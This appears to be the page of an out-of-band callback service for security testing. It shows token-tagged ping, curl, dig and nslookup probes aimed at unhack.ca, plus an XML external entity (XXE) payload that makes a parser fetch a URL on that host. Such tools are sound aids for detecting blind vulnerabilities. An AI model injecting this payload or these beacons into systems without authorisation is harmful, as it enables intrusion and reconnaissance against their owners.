$ ping -c1 -p 00362d42ca4283c6153acf93fb181c00 unhack.ca
 
$ curl http://unhack.ca/p/362d42ca4283c6153acf93fb181c
 
$ dig 362d42ca4283c6153acf93fb181c @unhack.ca
 
$ dig 362d42ca4283c6153acf93fb181c.ns.unhack.ca
 
C:\> nslookup 362d42ca4283c6153acf93fb181c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/362d42ca4283c6153acf93fb181c">]>
    <foo>&xxe;</foo>
Waiting for ping...